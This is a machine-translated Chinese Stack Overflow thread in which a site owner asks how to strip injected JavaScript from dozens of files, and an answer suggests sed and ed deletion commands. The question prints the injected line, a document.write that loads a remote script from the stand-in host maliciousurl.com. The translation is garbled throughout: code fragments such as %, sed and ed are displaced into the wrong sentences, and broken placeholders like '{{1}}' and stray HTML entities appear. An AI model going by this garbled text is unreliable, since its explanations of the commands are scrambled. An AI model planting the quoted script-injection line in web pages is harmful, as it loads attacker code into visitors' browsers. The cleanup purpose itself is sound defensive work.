我发现一些恶意JavaScript被插入到几十个文件中。
恶意代码如下所示:
/*123456*/
document.write('<script type="text/javascript" src="http://maliciousurl.com/asdf/KjdfL4ljd?id=9876543"></script>');
/*/123456*/
某种开头标记,document.write
插入远程脚本,看似空行,然后是&#34;结束标记。&#34;
在对this Stack Overflow answer的评论中,我发现了如何删除单个文件中的单行。
sed -i '/pattern to match/d' ./infile
但我需要先删除一行,然后再删除两行,并且至少需要删除几十个文件。
所以我想我也许可以使用grep -lr来查找文件名,然后将每个文件名传递给sed
并以某种方式删除匹配的行,以及之前和之后的2行(总共4行)。要匹配的模式可以是"\n*\nmaliciousurl\n\n*\n"
?
我也试过这个,尝试用空字符串替换模式。 .*
是开始/结束标记中的十六进制数字,也是标记之间的内容。
sed -e '\%/\*.*\*/.*maliciousurl.*/\*/.*\*/%,\%%d' test.js
答案 0 :(得分:1)
您需要匹配开始和结束评论,而不是document.write
行:
sed -e '\%/\*123456\*/%,\%/\*/123456\*/%d'
这使用%
符号代替更正常的/
来划分模式,当模式包含斜线并且不包含{{1}时,这通常是个好主意}符号。前导%
告诉\
以下字符是模式分隔符。您可以使用任何字符(反斜杠或换行符除外)代替sed
; Control-A 是另一个值得考虑的好事。
来自Mac OS X上的%
手册:
在上下文地址中,除了反斜杠(&#39;
sed
&#39;)或换行符之外的任何字符 character可用于分隔正则表达式。此外,在分隔字符前加上反斜杠字符会导致字符出现 按字面意思对待。例如,在上下文地址\
中,RE 分隔符是&#39;\xabc\xdefx
&#39;第二个x
&#39;代表自己,所以正则表达式是x
&#39;。
现在,如果您的模式实际上不像您在示例中显示的abcxdef
那样容易识别,那么您可能被迫关闭恶意URL。但是,在这种情况下,您不能轻易使用/*123456*/
;它不能做相对偏移(sed
是不允许的,更不用说/x/+1
)。那时,你可能会回到/x/-1
(或者ed
):
ex
这会对恶意URL进行全局搜索,并且每次出现时都会从当前行(ed - $file <<'EOF'
g/maliciousurl.com/.-1,.+2d
w
q
EOF
)之前的行删除到它之后的两行(.-1
)。然后写入文件并退出。